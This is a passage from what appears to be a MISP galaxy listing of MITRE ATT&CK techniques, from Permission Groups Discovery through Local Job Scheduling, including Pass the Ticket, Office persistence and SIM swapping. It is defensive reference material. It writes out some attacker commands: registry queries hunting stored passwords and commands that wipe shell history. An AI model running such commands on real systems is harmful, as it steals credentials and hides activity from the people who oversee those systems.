Examples of commands that can list groups are <code>net group /domain</code> and <code>net localgroup</code> using the [Net](https://attack.mitre.org/software/S0039) utility.
Mac
On Mac, this same thing can be accomplished with the <code>dscacheutil -q group</code> for the domain, or <code>dscl . -list /Groups</code> for local groups.
Linux
On Linux, local groups can be enumerated with the <code>groups</code> command and domain groups via the <code>ldapsearch</code> command.
Office 365 and Azure AD
With authenticated access there are several tools that can be used to find permissions groups. The <code>Get-MsolRole</code> PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange and Office 365 accounts.(Citation: Microsoft msrole)(Citation: GitHub Raindance)
Azure CLI (AZ CLI) also provides an interface to obtain permissions groups with authenticated access to a domain. The command <code>az ad user get-member-groups</code> will list groups associated to a user account.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018)
The tag is: misp-galaxy:mitre-attack-pattern="Permission Groups Discovery - T1069"
Windows Admin Shares - T1077
Windows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include <code>C$</code>, <code>ADMIN$</code>, and <code>IPC$</code>.
Adversaries may use this technique in conjunction with administrator-level [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely access a networked system over server message block (SMB) (Citation: Wikipedia SMB) to interact with systems using remote procedure calls (RPCs), (Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are [Scheduled Task](https://attack.mitre.org/techniques/T1053), [Service Execution](https://attack.mitre.org/techniques/T1035), and [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). Adversaries can also use NTLM hashes to access administrator shares on systems with [Pass the Hash](https://attack.mitre.org/techniques/T1075) and certain configuration and patch levels. (Citation: Microsoft Admin Shares)
The [Net](https://attack.mitre.org/software/S0039) utility can be used to connect to Windows admin shares on remote systems using <code>net use</code> commands with valid credentials. (Citation: Technet Net Use)
The tag is: misp-galaxy:mitre-attack-pattern="Windows Admin Shares - T1077"
Links |
https://medium.com/threatpunter/detecting-lateral-movement-using-sysmon-and-splunk-318d3be141bc |
Pass the Ticket - T1097
Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account’s password. Kerberos authentication can be used as the first step to lateral movement to a remote system.
In this technique, valid Kerberos tickets for [Valid Accounts](https://attack.mitre.org/techniques/T1078) are captured by [Credential Dumping](https://attack.mitre.org/techniques/T1003). A user’s service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access. (Citation: ADSecurity AD Kerberos Attacks) (Citation: GentilKiwi Pass the Ticket)
Silver Tickets can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint). (Citation: ADSecurity AD Kerberos Attacks)
Golden Tickets can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory. (Citation: Campbell 2014)
The tag is: misp-galaxy:mitre-attack-pattern="Pass the Ticket - T1097"
Links |
http://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos |
Disabling Security Tools - T1089
Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security scanning or event reporting.
The tag is: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089"
Links |
Space after Filename - T1151
Adversaries can hide a program’s true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system. For example, if there is a Mach-O executable file called evil.bin, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to evil.txt, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to "evil.txt " (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back).
Adversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.
The tag is: misp-galaxy:mitre-attack-pattern="Space after Filename - T1151"
Links |
https://arstechnica.com/security/2016/07/after-hiatus-in-the-wild-mac-backdoors-are-suddenly-back/ |
Create strategic plan - T1231
Strategic plans outline the mission, vision, and goals for an adversary at a high level in relation to the key partners, topics, and functions the adversary carries out. (Citation: KPMGChina5Year) (Citation: China5YearPlans) (Citation: ChinaUN)
The tag is: misp-galaxy:mitre-attack-pattern="Create strategic plan - T1231"
Links |
Capture SMS Messages - T1412
A malicious application could capture sensitive data sent via SMS, including authentication credentials. SMS is frequently used to transmit codes used for multi-factor authentication.
On Android, a malicious application must request and obtain permission (either at app install time or run time) in order to receive SMS messages. Alternatively, a malicious application could attempt to perform an operating system privilege escalation attack to bypass the permission requirement.
On iOS, applications cannot access SMS messages in normal operation, so an adversary would need to attempt to perform an operating system privilege escalation attack to potentially be able to access SMS messages.
The tag is: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412"
Links |
Credentials in Registry - T1214
The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Example commands to find Registry keys related to password information: (Citation: Pentestlab Stored Credentials)
-
Local Machine Hive: <code>reg query HKLM /f password /t REG_SZ /s</code>
-
Current User Hive: <code>reg query HKCU /f password /t REG_SZ /s</code>
The tag is: misp-galaxy:mitre-attack-pattern="Credentials in Registry - T1214"
Links |
System Time Discovery - T1124
The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network. (Citation: MSDN System Time) (Citation: Technet Windows Time Service)
An adversary may gather the system time and/or time zone from a local or remote system. This information may be gathered in a number of ways, such as with [Net](https://attack.mitre.org/software/S0039) on Windows by performing <code>net time \\hostname</code> to gather the system time on a remote system. The victim’s time zone may also be inferred from the current system time or gathered by using <code>w32tm /tz</code>. (Citation: Technet Windows Time Service) The information could be useful for performing other techniques, such as executing a file with a [Scheduled Task](https://attack.mitre.org/techniques/T1053) (Citation: RSA EU12 They’re Inside), or to discover locality information based on time zone to assist in victim targeting.
The tag is: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124"
Links |
https://www.rsaconference.com/writable/presentations/file_upload/ht-209_rivner_schwartz.pdf |
Determine strategic target - T1241
An adversary undergoes an iterative target selection process that may begin either broadly and narrow down into specifics (strategic to tactical) or narrowly and expand outward (tactical to strategic). As part of this process, an adversary may determine a high level target they wish to attack. One example of this may be a particular country, government, or commercial sector. (Citation: CyberAdversaryBehavior) (Citation: JP3-60) (Citation: JP3-12R) (Citation: DoD Cyber 2015)
The tag is: misp-galaxy:mitre-attack-pattern="Determine strategic target - T1241"
Links |
Standard Cryptographic Protocol - T1521
Adversaries may explicitly employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if necessary secret keys are encoded and/or generated within malware samples/configuration files.
The tag is: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1521"
Links |
Browser Bookmark Discovery - T1217
Adversaries may enumerate browser bookmarks to learn more about compromised hosts. Browser bookmarks may reveal personal information about users (ex: banking sites, interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure.
Browser bookmarks may also highlight additional targets after an adversary has access to valid credentials, especially [Credentials in Files](https://attack.mitre.org/techniques/T1081) associated with logins cached by a browser.
Specific storage locations vary based on platform and/or application, but browser bookmarks are typically stored in local files/databases.
The tag is: misp-galaxy:mitre-attack-pattern="Browser Bookmark Discovery - T1217"
Links |
Trusted Developer Utilities - T1127
There are many utilities used for software development related tasks that can be used to execute code in various forms to assist in development, debugging, and reverse engineering. These utilities may often be signed with legitimate certificates that allow them to execute on a system and proxy execution of malicious code through a trusted process that effectively bypasses application whitelisting defensive solutions.
MSBuild
MSBuild.exe (Microsoft Build Engine) is a software build platform used by Visual Studio. It takes XML formatted project files that define requirements for building various platforms and configurations. (Citation: MSDN MSBuild)
Adversaries can use MSBuild to proxy execution of code through a trusted Windows utility. The inline task capability of MSBuild that was introduced in .NET version 4 allows for C# code to be inserted into the XML project file. (Citation: MSDN MSBuild) Inline Tasks MSBuild will compile and execute the inline task. MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application whitelisting defenses that are configured to allow MSBuild.exe execution. (Citation: LOLBAS Msbuild)
DNX
The .NET Execution Environment (DNX), dnx.exe, is a software development kit packaged with Visual Studio Enterprise. It was retired in favor of .NET Core CLI in 2016. (Citation: Microsoft Migrating from DNX) DNX is not present on standard builds of Windows and may only be present on developer workstations using older versions of .NET Core and ASP.NET Core 1.0. The dnx.exe executable is signed by Microsoft.
An adversary can use dnx.exe to proxy execution of arbitrary code to bypass application whitelist policies that do not account for DNX. (Citation: engima0x3 DNX Bypass)
RCSI
The rcsi.exe utility is a non-interactive command-line interface for C# that is similar to csi.exe. It was provided within an early version of the Roslyn .NET Compiler Platform but has since been deprecated for an integrated solution. (Citation: Microsoft Roslyn CPT RCSI) The rcsi.exe binary is signed by Microsoft. (Citation: engima0x3 RCSI Bypass)
C# .csx script files can be written and executed with rcsi.exe at the command-line. An adversary can use rcsi.exe to proxy execution of arbitrary code to bypass application whitelisting policies that do not account for execution of rcsi.exe. (Citation: engima0x3 RCSI Bypass)
WinDbg/CDB
WinDbg is a Microsoft Windows kernel and user-mode debugging utility. The Microsoft Console Debugger (CDB) cdb.exe is also user-mode debugger. Both utilities are included in Windows software development kits and can be used as standalone tools. (Citation: Microsoft Debugging Tools for Windows) They are commonly used in software development and reverse engineering and may not be found on typical Windows systems. Both WinDbg.exe and cdb.exe binaries are signed by Microsoft.
An adversary can use WinDbg.exe and cdb.exe to proxy execution of arbitrary code to bypass application whitelist policies that do not account for execution of those utilities. (Citation: Exploit Monday WinDbg)
It is likely possible to use other debuggers for similar purposes, such as the kernel-mode debugger kd.exe, which is also signed by Microsoft.
Tracker
The file tracker utility, tracker.exe, is included with the .NET framework as part of MSBuild. It is used for logging calls to the Windows file system. (Citation: Microsoft Docs File Tracking)
An adversary can use tracker.exe to proxy execution of an arbitrary DLL into another process. Since tracker.exe is also signed it can be used to bypass application whitelisting solutions. (Citation: LOLBAS Tracker)
The tag is: misp-galaxy:mitre-attack-pattern="Trusted Developer Utilities - T1127"
Netsh Helper DLL - T1128
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility. (Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at <code>HKLM\SOFTWARE\Microsoft\Netsh</code>.
Adversaries can use netsh.exe with helper DLLs to proxy execution of arbitrary code in a persistent manner when netsh.exe is executed automatically with another Persistence technique or if other persistent software is present on the system that executes netsh.exe as part of its normal functionality. Examples include some VPN software that invoke netsh.exe. (Citation: Demaske Netsh Persistence)
Proof of concept code exists to load Cobalt Strike’s payload using netsh.exe helper DLLs. (Citation: Github Netsh Helper CS Beacon)
The tag is: misp-galaxy:mitre-attack-pattern="Netsh Helper DLL - T1128"
Links |
Remote Access Tools - T1219
An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be whitelisted within a target environment. Remote access tools like VNC, Ammy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)
Remote access tools may be established and used post-compromise as alternate communications channel for [Redundant Access](https://attack.mitre.org/techniques/T1108) or as a way to establish an interactive remote desktop session with the target system. They may also be used as a component of malware to establish a reverse connection or back-connect to a service or adversary controlled system.
Admin tools such as TeamViewer have been used by several groups targeting institutions in countries of interest to the Russian state and criminal campaigns. (Citation: CrowdStrike 2015 Global Threat Report) (Citation: CrySyS Blog TeamSpy)
The tag is: misp-galaxy:mitre-attack-pattern="Remote Access Tools - T1219"
Links |
https://go.crowdstrike.com/rs/281-OBQ-266/images/15GlobalThreatReport.pdf |
External Remote Services - T1133
Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1028) can also be used externally.
Adversaries may use remote services to initially access and/or persist within a network. (Citation: Volexity Virtual Private Keylogging) Access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network. Access to remote services may be used as part of [Redundant Access](https://attack.mitre.org/techniques/T1108) during an operation.
The tag is: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133"
Links |
Obfuscation or cryptography - T1313
Obfuscation is the act of creating communications that are more difficult to understand. Encryption transforms the communications such that it requires a key to reverse the encryption. (Citation: FireEyeAPT28)
The tag is: misp-galaxy:mitre-attack-pattern="Obfuscation or cryptography - T1313"
Links |
Access Token Manipulation - T1134
Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token. For example, Microsoft promotes the use of access tokens as a security best practice. Administrators should log in as a standard user but run their tools with administrator privileges using the built-in access token manipulation command <code>runas</code>.(Citation: Microsoft runas)
Adversaries may use access tokens to operate under a different user or system security context to perform actions and evade detection. An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.(Citation: Pentestlab Token Manipulation)
Access tokens can be leveraged by adversaries through three methods:(Citation: BlackHat Atkinson Winchester Token Manipulation)
Token Impersonation/Theft - An adversary creates a new access token that duplicates an existing token using <code>DuplicateToken(Ex)</code>. The token can then be used with <code>ImpersonateLoggedOnUser</code> to allow the calling thread to impersonate a logged on user’s security context, or with <code>SetThreadToken</code> to assign the impersonated token to a thread. This is useful for when the target user has a non-network logon session on the system.
Create Process with a Token - An adversary creates a new access token with <code>DuplicateToken(Ex)</code> and uses it with <code>CreateProcessWithTokenW</code> to create a new process running under the security context of the impersonated user. This is useful for creating a new process under the security context of a different user.
Make and Impersonate Token - An adversary has a username and password but the user is not logged onto the system. The adversary can then create a logon session for the user using the <code>LogonUser</code> function. The function will return a copy of the new session’s access token and the adversary can use <code>SetThreadToken</code> to assign the token to a thread.
Any standard user can use the <code>runas</code> command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account.
Metasploit’s Meterpreter payload allows arbitrary token manipulation and uses token impersonation to escalate privileges.(Citation: Metasploit access token) The Cobalt Strike beacon payload allows arbitrary token impersonation and can also create tokens. (Citation: Cobalt Strike Access Token)
The tag is: misp-galaxy:mitre-attack-pattern="Access Token Manipulation - T1134"
Account Access Removal - T1531
Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: changed credentials) to remove access to accounts.
Adversaries may also subsequently log off and/or reboot boxes to set malicious changes into place.(Citation: CarbonBlack LockerGoga 2019)(Citation: Unit42 LockerGoga 2019)
The tag is: misp-galaxy:mitre-attack-pattern="Account Access Removal - T1531"
Network Share Discovery - T1135
Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Windows
File sharing over a Windows network occurs over the SMB protocol. (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared Folder)
[Net](https://attack.mitre.org/software/S0039) can be used to query a remote system for available shared drives using the <code>net view \\remotesystem</code> command. It can also be used to query shared drives on the local system using <code>net share</code>.
Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement.
Mac
On Mac, locally mounted shares can be viewed with the <code>df -aH</code> command.
Cloud
Cloud virtual networks may contain remote network shares or file storage services accessible to an adversary after they have obtained access to a system. For example, AWS, GCP, and Azure support creation of Network File System (NFS) shares and Server Message Block (SMB) shares that may be mapped on endpoint or cloud-based systems.(Citation: Amazon Creating an NFS File Share)(Citation: Google File servers on Compute Engine)
The tag is: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135"
Links |
https://docs.aws.amazon.com/storagegateway/latest/userguide/CreatingAnNFSFileShare.html |
Office Application Startup - T1137
Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started.
Office Template Macros
Microsoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts. (Citation: Microsoft Change Normal Template)
Office Visual Basic for Applications (VBA) macros (Citation: MSDN VBA in Office) can be inserted into the base template and used to execute code when the respective Office application starts in order to obtain persistence. Examples for both Word and Excel have been discovered and published. By default, Word has a Normal.dotm template created that can be modified to include a malicious macro. Excel does not have a template file created by default, but one can be added that will automatically be loaded.(Citation: enigma0x3 normal.dotm)(Citation: Hexacorn Office Template Macros) Shared templates may also be stored and pulled from remote locations.(Citation: GlobalDotName Jun 2019)
Word Normal.dotm location:<code>C:\Users\\(username)\AppData\Roaming\Microsoft\Templates\Normal.dotm</code>
Excel Personal.xlsb location:<code>C:\Users\\(username)\AppData\Roaming\Microsoft\Excel\XLSTART\PERSONAL.XLSB</code>
Adversaries may also change the location of the base template to point to their own by hijacking the application’s search order, e.g. Word 2016 will first look for Normal.dotm under <code>C:\Program Files (x86)\Microsoft Office\root\Office16\</code>, or by modifying the GlobalDotName registry key. By modifying the GlobalDotName registry key an adversary can specify an arbitrary location, file name, and file extension to use for the template that will be loaded on application startup. To abuse GlobalDotName, adversaries may first need to register the template as a trusted document or place it in a trusted location.(Citation: GlobalDotName Jun 2019)
An adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros.
Office Test
A Registry location was found that when a DLL reference was placed within it the corresponding DLL pointed to by the binary path would be executed every time an Office application is started (Citation: Hexacorn Office Test)
<code>HKEY_CURRENT_USER\Software\Microsoft\Office test\Special\Perf</code>
Add-ins
Office add-ins can be used to add functionality to Office programs. (Citation: Microsoft Office Add-ins)
Add-ins can also be used to obtain persistence because they can be set to execute code when an Office application starts. There are different types of add-ins that can be used by the various Office products; including Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, automation add-ins, VBA Editor (VBE), Visual Studio Tools for Office (VSTO) add-ins, and Outlook add-ins. (Citation: MRWLabs Office Persistence Add-ins)(Citation: FireEye Mail CDS 2018)
Outlook Rules, Forms, and Home Page
A variety of features have been discovered in Outlook that can be abused to obtain persistence, such as Outlook rules, forms, and Home Page.(Citation: SensePost Ruler GitHub) These persistence mechanisms can work within Outlook or be used through Office 365.(Citation: TechNet O365 Outlook Rules)
Outlook rules allow a user to define automated behavior to manage email messages. A benign rule might, for example, automatically move an email to a particular folder in Outlook if it contains specific words from a specific sender. Malicious Outlook rules can be created that can trigger code execution when an adversary sends a specifically crafted email to that user.(Citation: SilentBreak Outlook Rules)
Outlook forms are used as templates for presentation and functionality in Outlook messages. Custom Outlook Forms can be created that will execute code when a specifically crafted email is sent by an adversary utilizing the same custom Outlook form.(Citation: SensePost Outlook Forms)
Outlook Home Page is a legacy feature used to customize the presentation of Outlook folders. This feature allows for an internal or external URL to be loaded and presented whenever a folder is opened. A malicious HTML page can be crafted that will execute code when loaded by Outlook Home Page.(Citation: SensePost Outlook Home Page)
To abuse these features, an adversary requires prior access to the user’s Outlook mailbox, either via an Exchange/OWA server or via the client application. Once malicious rules, forms, or Home Pages have been added to the user’s mailbox, they will be loaded when Outlook is started. Malicious Home Pages will execute when the right Outlook folder is loaded/reloaded while malicious rules and forms will execute when an adversary sends a specifically crafted email to the user.(Citation: SilentBreak Outlook Rules)(Citation: SensePost Outlook Forms)(Citation: SensePost Outlook Home Page)
The tag is: misp-galaxy:mitre-attack-pattern="Office Application Startup - T1137"
Dynamic Data Exchange - T1173
Windows Dynamic Data Exchange (DDE) is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.
Object Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by COM, DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys. (Citation: BleepingComputer DDE Disabled in Word Dec 2017) (Citation: Microsoft ADV170021 Dec 2017) (Citation: Microsoft DDE Advisory Nov 2017)
Adversaries may use DDE to execute arbitrary commands. Microsoft Office documents can be poisoned with DDE commands (Citation: SensePost PS DDE May 2016) (Citation: Kettle CSV DDE Aug 2014), directly or through embedded files (Citation: Enigma Reviving DDE Jan 2018), and used to deliver execution via phishing campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros. (Citation: SensePost MacroLess DDE Oct 2017) DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to command line execution.
The tag is: misp-galaxy:mitre-attack-pattern="Dynamic Data Exchange - T1173"
Obfuscate operational infrastructure - T1318
Obfuscation is hiding the day-to-day building and testing of new tools, chat servers, etc. (Citation: DellComfooMasters)
The tag is: misp-galaxy:mitre-attack-pattern="Obfuscate operational infrastructure - T1318"
Links |
Capture Clipboard Data - T1414
Adversaries may abuse Clipboard Manager APIs to obtain sensitive information copied to the global clipboard. For example, passwords being copy-and-pasted from a password manager app could be captured by another application installed on the device.(Citation: Fahl-Clipboard)
On Android, <code>ClipboardManager.OnPrimaryClipChangedListener</code> can be used by applications to register as a listener and monitor the clipboard for changes.(Citation: Github Capture Clipboard 2019)
Android 10 mitigates this technique by preventing applications from accessing clipboard data unless the application is on the foreground or is set as the device’s default input method editor (IME).(Citation: Android 10 Privacy Changes)
The tag is: misp-galaxy:mitre-attack-pattern="Capture Clipboard Data - T1414"
Links |
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-35.html |
https://developer.android.com/about/versions/10/privacy/changes#clipboard-data |
SIM Card Swap - T1451
An adversary could convince the mobile network operator (e.g. through social networking, forged identification, or insider attacks performed by trusted employees) to issue a new SIM card and associate it with an existing phone number and account (Citation: NYGov-Simswap) (Citation: Motherboard-Simswap2). The adversary could then obtain SMS messages or hijack phone calls intended for someone else (Citation: Betanews-Simswap).
One use case is intercepting authentication messages or phone calls to obtain illicit access to online banking or other online accounts, as many online services allow account password resets by sending an authentication code over SMS to a phone number associated with the account (Citation: Guardian-Simswap) (Citation: Motherboard-Simswap1)(Citation: Krebs-SimSwap)(Citation: TechCrunch-SimSwap).
The tag is: misp-galaxy:mitre-attack-pattern="SIM Card Swap - T1451"
URL Scheme Hijacking - T1415
An iOS application may be able to maliciously claim a URL scheme, allowing it to intercept calls that are meant for a different application(Citation: FireEye-Masque2)(Citation: Dhanjani-URLScheme). This technique, for example, could be used to capture OAuth authorization codes(Citation: IETF-PKCE) or to phish user credentials(Citation: MobileIron-XARA).
The tag is: misp-galaxy:mitre-attack-pattern="URL Scheme Hijacking - T1415"
Android Intent Hijacking - T1416
A malicious app can register to receive intents meant for other applications and may then be able to receive sensitive values such as OAuth authorization codes(Citation: IETF-PKCE).
The tag is: misp-galaxy:mitre-attack-pattern="Android Intent Hijacking - T1416"
Links |
Clear Command History - T1146
macOS and Linux both keep track of the commands users type in their terminal so that users can easily remember what they’ve done. These logs can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable <code>HISTFILE</code>. When a user logs off a system, this information is flushed to a file in the user’s home directory called <code>~/.bash_history</code>. The benefit of this is that it allows users to go back to commands they’ve used before in different sessions. Since everything typed on the command-line is saved, passwords passed in on the command line are also saved. Adversaries can abuse this by searching these files for cleartext passwords. Additionally, adversaries can use a variety of methods to prevent their own commands from appear in these logs such as <code>unset HISTFILE</code>, <code>export HISTFILESIZE=0</code>, <code>history -c</code>, <code>rm ~/.bash_history</code>.
The tag is: misp-galaxy:mitre-attack-pattern="Clear Command History - T1146"
Links |
Password Filter DLL - T1174
Windows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as dynamic link libraries (DLLs) containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts.
Before registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation.
Adversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made. (Citation: Carnal Ownage Password Filters Sept 2013)
The tag is: misp-galaxy:mitre-attack-pattern="Password Filter DLL - T1174"
Device Type Discovery - T1419
On Android, device type information is accessible to apps through the android.os.Build class (Citation: Android-Build). Device information could be used to target privilege escalation exploits.
The tag is: misp-galaxy:mitre-attack-pattern="Device Type Discovery - T1419"
Device Type Discovery - T1419 has relationships with:
-
revoked-by: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"
Links |
Spearphishing via Service - T1194
Spearphishing via service is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of third party services rather than directly via enterprise email channels.
All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services. These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target’s interest in some way. Adversaries will create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and software that’s running in an environment. The adversary can then send malicious links or attachments through these services.
A common example is to build rapport with a target via social media, then send content to a personal webmail service that the target uses on their work computer. This allows an adversary to bypass some email restrictions on the work account, and the target is more likely to open the file since it’s something they were expecting. If the payload doesn’t work as expected, the adversary can continue normal communications and troubleshoot with the target on how to get it working.
The tag is: misp-galaxy:mitre-attack-pattern="Spearphishing via Service - T1194"
Links |
Supply Chain Compromise - T1195
Supply chain compromise is the manipulation of products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise.
Supply chain compromise can take place at any stage of the supply chain including:
-
Manipulation of development tools
-
Manipulation of a development environment
-
Manipulation of source code repositories (public or private)
-
Manipulation of source code in open-source dependencies
-
Manipulation of software update/distribution mechanisms
-
Compromised/infected system images (multiple cases of removable media infected at the factory) (Citation: IBM Storwize) (Citation: Schneider Electric USB Malware)
-
Replacement of legitimate software with modified versions
-
Sales of modified/counterfeit products to legitimate distributors
-
Shipment interdiction
While supply chain compromise can impact any component of hardware or software, attackers looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels. (Citation: Avast CCleaner3 2018) (Citation: Microsoft Dofoil 2018) (Citation: Command Five SK 2011) Targeting may be specific to a desired victim set (Citation: Symantec Elderwood Sept 2012) or malicious software may be distributed to a broad set of consumers but only move on to additional tactics on specific victims. (Citation: Avast CCleaner3 2018) (Citation: Command Five SK 2011) Popular open source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency. (Citation: Trendmicro NPM Compromise)
The tag is: misp-galaxy:mitre-attack-pattern="Supply Chain Compromise - T1195"
Links |
https://www-01.ibm.com/support/docview.wss?uid=ssg1S1010146&myns=s028&mynp=OCSTHGUJ&mynp=OCSTLM5A&mynp=OCSTLM6B&mynp=OCHW206&mync=E&cm_sp=s028--OCSTHGUJ-OCSTLM5A-OCSTLM6B-OCHW206--E[https://www-01.ibm.com/support/docview.wss?uid=ssg1S1010146&myns=s028&mynp=OCSTHGUJ&mynp=OCSTLM5A&mynp=OCSTLM6B&mynp=OCHW206&mync=E&cm_sp=s028--OCSTHGUJ-OCSTLM5A-OCSTLM6B-OCHW206--E] |
https://www.schneider-electric.com/en/download/document/SESN-2018-236-01/ |
Setuid and Setgid - T1166
When the setuid or setgid bits are set on Linux or macOS for an application, this means that the application will run with the privileges of the owning user or group respectively (Citation: setuid man page). Normally an application is run in the current user’s context, regardless of which user or group owns the application. There are instances where programs need to be executed in an elevated context to function properly, but the user running them doesn’t need the elevated privileges. Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications. These bits are indicated with an "s" instead of an "x" when viewing a file’s attributes via <code>ls -l</code>. The <code>chmod</code> program can set these bits with via bitmasking, <code>chmod 4777 [file]</code> or via shorthand naming, <code>chmod u+s [file]</code>.
An adversary can take advantage of this to either do a shell escape or exploit a vulnerability in an application with the setsuid or setgid bits to get code running in a different user’s context. Additionally, adversaries can use this mechanism on their own malware to make sure they’re able to execute in elevated contexts in the future (Citation: OSX Keydnap malware).
The tag is: misp-galaxy:mitre-attack-pattern="Setuid and Setgid - T1166"
Links |
https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/ |
Local Job Scheduling - T1168
On Linux and macOS systems, multiple methods are supported for creating pre-scheduled and periodic background jobs: cron, (Citation: Die.net Linux crontab Man Page) at, (Citation: Die.net Linux at Man Page) and launchd. (Citation: AppleDocs Scheduling Timed Jobs) Unlike [Scheduled Task](https://attack.mitre.org/techniques/T1053) on Windows systems, job scheduling on Linux-based systems cannot be done remotely unless used in conjunction within an established remote session, like secure shell (SSH).
cron
System-wide cron jobs are installed by modifying <code>/etc/crontab</code> file, <code>/etc/cron.d/</code> directory or other locations supported by the Cron daemon, while per-user cron jobs are installed using crontab with specifically formatted crontab files. (Citation: AppleDocs Scheduling Timed Jobs) This works on macOS and Linux systems.
